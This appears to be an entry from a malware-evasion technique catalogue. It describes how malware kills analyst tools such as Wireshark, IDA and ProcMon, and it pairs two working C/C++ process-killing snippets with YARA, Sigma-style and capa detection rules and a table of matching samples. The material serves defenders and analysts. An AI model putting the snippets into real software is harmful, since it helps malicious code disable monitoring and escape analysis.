Kill Process

Malware often employs techniques to evade detection and hinder the efforts of security experts in analyzing its behavior. One notable method involves terminating processes associated with anti-virus software or monitoring tools.

For example, malware may specifically target processes like wireshark.exe, ida.exe, or procmon.exe, which are frequently used by analysts to observe and scrutinize running processes on a system. By terminating these processes, malware effectively obstruct security experts from acquiring insight into its operations and impedes their ability to analyze its inner workings.

Technique Identifier

U0403

Technique Tags

Wireshark.exe Kill process Ida.exe Procmon.exe Disrupt monitoring

Featured Windows API's

Below, you will find a list of the most commonly used Windows API's that are currently utilized by malware authors for current evasion technique. This list is meant to provide an overview of the API's that are commonly used for this purpose. If there are any API's that you feel should be included on this list, please do not hesitate to contact us. We will be happy to update the list and provide any additional information or documentation that may be helpful.

Evasion Categories

Anti-Monitoring

Code Snippets

Description

Using the CreateToolhelp32Snapshot API, it is possible to list the running process and compare it with a blacklist to kill them.

#include <iostream>
#include <string>
#include <tchar.h>
#include <process.h>
#include <windows.h>
#include <tlhelp32.h>

using namespace std;

BOOL GetProcessList();
BOOL TerminateMyProcess(DWORD dwProcessId, UINT uExitCode);

int main( void )
{
  GetProcessList( );
  return 0;
}

BOOL GetProcessList( )
{
  HANDLE hProcessSnap;
  HANDLE hProcess;
  PROCESSENTRY32 pe32;
  DWORD dwPriorityClass;

  //Blacklisted processes
  LPSTR ProcessName[] = { "ida.Exe",
                          "ProcMon.exe",
                          "Olldbg.exe",
                          "Wireshark.exe",
                          "iexplore.exe"
                            };

  // Take a snapshot of processes
  hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
  if( hProcessSnap == INVALID_HANDLE_VALUE )
  {
    return( FALSE );
  }

  pe32.dwSize = sizeof( PROCESSENTRY32 );

  if( !Process32First( hProcessSnap, &pe32 ) )
  {
    CloseHandle( hProcessSnap );
    return( FALSE );
  }

  do
  {
    string str(pe32.szExeFile);

    for (int i = 0; i < (sizeof(ProcessName) / sizeof(LPSTR)); i++)
    {
         if(str == ProcessName[i])
         {
             cout << "[*] processus exists: " << (ProcessName[i]) << endl;
             TerminateBlacklistedProcess(pe32.th32ProcessID, 1);
         }
    }
  } while( Process32Next( hProcessSnap, &pe32 ) );

  CloseHandle( hProcessSnap );
  return( TRUE );
}

// Terminate the blacklisted processes
BOOL TerminateBlacklistedProcess(DWORD dwProcessId, UINT uExitCode)
{
    DWORD dwDesiredAccess = PROCESS_TERMINATE;
    BOOL  bInheritHandle  = FALSE;
    HANDLE hProcess = OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId);
    if (hProcess == NULL)
        return FALSE;

    BOOL result = TerminateProcess(hProcess, uExitCode);

    CloseHandle(hProcess);

    return result;
}

About Author Open Snippet

Author: Thomas Roccia (fr0gger) / Target Platform: Windows

#include <iostream>
#include <Windows.h>
#include <Psapi.h>
#include <vector>
#include <TlHelp32.h>

#pragma comment(lib, "Psapi")
#pragma comment(lib,"ntdll.lib")

typedef NTSTATUS(NTAPI* _NtGetNextProcess)(
	_In_ HANDLE ProcessHandle,
	_In_ ACCESS_MASK DesiredAccess,
	_In_ ULONG HandleAttributes,
	_In_ ULONG Flags,
	_Out_ PHANDLE NewProcessHandle
	);

std::vector<std::string> procs =
{
	"ProcessHacker.exe", 
	"Wireshark.exe"
};

auto terminate_process() -> void
{
	HMODULE ntdll = GetModuleHandleA("ntdll.dll");
	HANDLE currp = nullptr;
	char buf[1024] = { 0 };

	_NtGetNextProcess NtGetNextProcess = (_NtGetNextProcess)GetProcAddress(ntdll, "NtGetNextProcess");

	for (int i = 0; i < procs.size(); i++) {
		do {
			GetModuleFileNameExA(currp, 0, buf, MAX_PATH);
			if (strstr(buf, procs[i].c_str()))
				TerminateProcess(currp, -1);
		} while (!NtGetNextProcess(currp, MAXIMUM_ALLOWED, 0, 0, &currp));
	}
}

int main()
{
	terminate_process();
	return 0;
}

About Author Open Snippet

Author: Ahmed / Target Platform: Windows

Detection Rules

rule UNPROTECT_disable_process {
    meta:
	author = "Thomas Roccia | @fr0gger_"
	description = "Disable blacklisted processes"
    strings:
        $api1 = "CreateToolhelp32Snapshot" nocase
        $api2 = "Process32First" nocase
        $api3 = "Process32Next" nocase
        $api4 = "TerminateProcess" nocase
        $api5 = "NtGetNextProcess" nocase
        $p1 = "taskkill.exe" nocase
        $p2 = "tskill.exe" nocase
    condition:
        uint32(uint32(0x3C)) == 0x4550 and 2 of ($api*) or any of ($p*) 
}

title: Kill multiple process
status: experimental
description: Kill multiple process
author: Joe Security
date: 2019-12-30
id: 200039
threatname:
behaviorgroup: 18
classification: 8
mitreattack:

logsource:
      category: process_creation
      product: windows
detection:
      selection:      
          CommandLine:
              - '*cmd*taskkill /f*& taskkill /f*& taskkill /f*& taskkill /f*& taskkill /f*& taskkill /f*& taskkill /f*'
      condition: selection
level: critical

rule:
  meta:
    name: reference analysis tools strings
    namespace: anti-analysis
    author: michael.hunhoff@fireeye.com
    scope: file
    mbc:
      - Discovery::Analysis Tool Discovery::Process Detection [B0013.001]
    references:
      - https://github.com/LordNoteworthy/al-khaser/blob/master/al-khaser/AntiAnalysis/process.cpp
    examples:
      - al-khaser_x86.exe_
  features:
    - or:
      - string: /ollydbg.exe/i
      - string: /ProcessHacker.exe/i
      - string: /tcpview.exe/i
      - string: /autoruns.exe/i
      - string: /autorunsc.exe/i
      - string: /filemon.exe/i
      - string: /procmon.exe/i
      - string: /regmon.exe/i
      - string: /procexp.exe/i
      - string: /idaq.exe/i
      - string: /idaq64.exe/i
      - string: /ImmunityDebugger.exe/i
      - string: /Wireshark.exe/i
      - string: /dumpcap.exe/i
      - string: /HookExplorer.exe/i
      - string: /ImportREC.exe/i
      - string: /PETools.exe/i
      - string: /LordPE.exe/i
      - string: /SysInspector.exe/i
      - string: /proc_analyzer.exe/i
      - string: /sysAnalyzer.exe/i
      - string: /sniff_hit.exe/i
      - string: /windbg.exe/i
      - string: /joeboxcontrol.exe/i
      - string: /joeboxserver.exe/i
      - string: /ResourceHacker.exe/i
      - string: /x32dbg.exe/i
      - string: /x64dbg.exe/i
      - string: /Fiddler.exe/i
      - string: /httpdebugger.exe/i
      - string: /fakenet.exe/i
      - string: /netmon.exe/i
      - string: /WPE PRO.exe/i
      - string: /decompile.exe/i

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.

Coinminer Comes with a Process "Kill List" to Keep Competitors at Bay

Matching Samples 10 most recent

Sample Name	Matching Techniques	First Seen	Last Seen
hello.exe	6	2026-03-18	1 week, 1 day ago
passper-for-rar_setup-com_passper.exe	8	2026-02-18	1 month, 1 week ago
patcher - ORIGINAL.dll	5	2026-02-10	1 month, 2 weeks ago
x64_Acrobat.exe	9	2026-01-30	1 month, 3 weeks ago
x64_Acrobat.exe	9	2026-01-30	1 month, 3 weeks ago
TS_4775.tmp	7	2025-12-23	3 months ago
reqloghad.dll	7	2025-12-22	3 months ago
MBSetup (3).exe	6	2025-10-18	3 months, 1 week ago
setup.exe	11	2025-12-09	3 months, 2 weeks ago
pafish64.exe	10	2025-12-06	3 months, 2 weeks ago

View All

Created

March 23, 2019

Last Revised

March 24, 2026